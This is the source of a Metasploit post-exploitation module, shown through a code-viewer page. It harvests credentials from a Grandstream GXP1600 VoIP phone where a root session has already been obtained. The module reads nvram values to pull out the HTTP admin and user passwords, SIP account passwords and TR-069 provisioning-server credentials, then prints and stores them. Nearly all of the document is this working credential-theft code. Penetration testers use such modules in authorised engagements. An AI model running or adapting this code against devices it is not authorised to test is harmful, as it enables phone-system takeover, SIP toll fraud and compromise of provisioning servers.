Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/grandstream_gxp1600_creds.rb
36035 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'GrandStream GXP1600 Gather Credentials',
15
'Description' => %q{
16
This gather module works against Grandstream GXP1600 series VoIP devices and can collect HTTP, SIP, and TR-069
17
credentials from a device. You can first leverage the `exploit/linux/http/grandstream_gxp1600_unauth_rce` exploit
18
module to get a root session on a target GXP1600 series device before running this post module.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'sfewer-r7'
23
],
24
'Platform' => ['linux'],
25
'SessionTypes' => ['shell', 'meterpreter'],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'Reliability' => [],
29
'SideEffects' => [],
30
'RelatedModules' => [
31
'exploit/linux/http/grandstream_gxp1600_unauth_rce',
32
'post/linux/capture/grandstream_gxp1600_sip'
33
]
34
}
35
)
36
)
37
end
38
39
# NOTE: All pvalue's are taken from the file /app/config/tr069/CpeDataModel.
40
def run
41
fail_with(Failure::NoTarget, 'Module cannot run against this target.') unless gxp1600?
42
43
# Gather the creds for the phones web based management interface.
44
http_users = [
45
['admin', 2],
46
['user', 196]
47
]
48
49
http_users.each do |username, pvalue|
50
password = cmd_exec("/usr/bin/nvram get #{pvalue}")
51
next if password.blank?
52
53
print_good("Gathered HTTP account #{username}:#{password}")
54
55
store_valid_credential(
56
user: username,
57
private: password,
58
private_type: :password,
59
service_data: {
60
origin_type: :service,
61
address: rhost,
62
port: rport,
63
service_name: 'http',
64
protocol: 'tcp'
65
}
66
)
67
end
68
69
# The GXP1600 series supports up to 6 SIP accounts, depending on the model.
70
sip_accounts = {
71
'AccountName' => [270, 417, 517, 617, 1717, 1817],
72
'DisplayName' => [3, 407, 507, 607, 1707, 1807],
73
'RegistrarServer' => [47, 402, 502, 602, 1702, 1802],
74
'RegistrarServerPort' => [47, 402, 502, 602, 1702, 1802],
75
'RegistrarServerTransport' => [130, 448, 548, 648, 1748, 1848],
76
'AuthPassword' => [34, 406, 506, 606, 1706, 1806],
77
'UserID' => [35, 404, 504, 604, 1704, 1804],
78
'AuthUserName' => [36, 405, 505, 605, 1705, 1805]
79
}
80
81
num_accts = read_file('/proc/gxp/dev_info/hw_features/num_accts').to_i
82
83
0.upto(num_accts - 1) do |account_idx|
84
sip_account = {}
85
86
sip_accounts.each do |pvalue_name, pvalue_array|
87
sip_account[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue_array[account_idx]}")
88
end
89
90
sip_username = sip_account['AuthUserName']
91
sip_username = sip_account['UserID'] if sip_username.blank?
92
93
next if sip_username.blank?
94
95
sip_server = sip_account['RegistrarServer']
96
97
next if sip_server.blank?
98
99
# The RegistrarServer and RegistrarServerPort may actually be the same value, i.e. "address:port" or they may be
100
# two separate value, one for the address and the other for the port.
101
# Leverage to_i to try and convert the RegistrarServerPort to an integer, this will only work if the port is
102
# a separate value.
103
104
# First try to split the address if its in address:port notation. If it is not, then sip_port will be nil.
105
sip_server, sip_port = sip_server.split(':')
106
107
# If we have an explicit RegistrarServerPort, try to get the integer value. If we fail, we default later
108
# to a known port value.
109
if sip_account['RegistrarServerPort'] != sip_account['RegistrarServer']
110
sip_port = sip_account['RegistrarServerPort'].to_i
111
end
112
113
sip_protocol = nil
114
sip_service = 'sip'
115
116
case sip_account['RegistrarServerTransport']
117
when '0'
118
sip_protocol = 'udp'
119
120
sip_port = 5060 if sip_port.blank?
121
when '1'
122
sip_protocol = 'tcp'
123
124
sip_port = 5060 if sip_port.blank?
125
when '2'
126
sip_protocol = 'tcp'
127
128
sip_service = 'sips'
129
130
sip_port = 5061 if sip_port.blank?
131
end
132
133
print_good("Gathered SIP account <#{sip_service}:#{sip_username}@#{sip_server}:#{sip_port};transport=#{sip_protocol}> with a password of #{sip_account['AuthPassword']}")
134
135
store_valid_credential(
136
user: sip_username,
137
private: sip_account['AuthPassword'],
138
private_type: :password,
139
service_data: {
140
origin_type: :service,
141
address: sip_server,
142
port: sip_port,
143
service_name: sip_service,
144
protocol: sip_protocol
145
}
146
)
147
end
148
149
# TR-069 - Auto Configuration Server
150
management = {
151
'ServerURL' => 4503,
152
'ServerUsername' => 4504,
153
'ServerPassword' => 4505
154
}
155
156
management.each do |pvalue_name, pvalue|
157
management[pvalue_name] = cmd_exec("/usr/bin/nvram get #{pvalue}")
158
end
159
160
unless management['ServerURL'].blank? || management['ServerUsername'].blank? || management['ServerPassword'].blank?
161
print_good("Gathered TR-069 Auto Configuration Server account #{management['ServerUsername']}:#{management['ServerPassword']} for #{management['ServerURL']}")
162
163
uri = nil
164
165
begin
166
if Rex::Socket.is_ip_addr? management['ServerURL']
167
uri = URI.parse("http://#{management['ServerURL']}/")
168
else
169
uri = URI.parse(management['ServerURL'])
170
end
171
rescue URI::InvalidURIError
172
print_error("Failed to parse the URI '#{management['ServerURL']}'")
173
end
174
175
unless uri.nil?
176
store_valid_credential(
177
user: management['ServerUsername'],
178
private: management['ServerPassword'],
179
private_type: :password,
180
service_data: {
181
origin_type: :service,
182
address: Rex::Socket.getaddress(uri.host),
183
port: uri.port,
184
service_name: uri.scheme,
185
protocol: 'tcp',
186
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
187
realm_value: uri.path.blank? ? '/' : uri.path
188
}
189
)
190
end
191
end
192
end
193
194
def gxp1600?
195
unless is_root?
196
user = cmd_exec('/usr/bin/whoami')
197
print_error("This module requires root permissions. Module running as \"#{user}\" user.")
198
return false
199
end
200
201
unless file? '/usr/bin/nvram'
202
print_error('nvram binary not found')
203
return false
204
end
205
206
model_str = cmd_exec('/usr/bin/nvram get 89')
207
208
# These 6 models all share the same firmware for the GXP1600 range.
209
affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
210
211
unless affected_models.include? model_str
212
print_error("Phone is not a GXP1600 model. Detected model \"#{model_str}\".")
213
return false
214
end
215
216
print_status("Module running against phone model #{model_str}")
217
true
218
end
219
end
220
221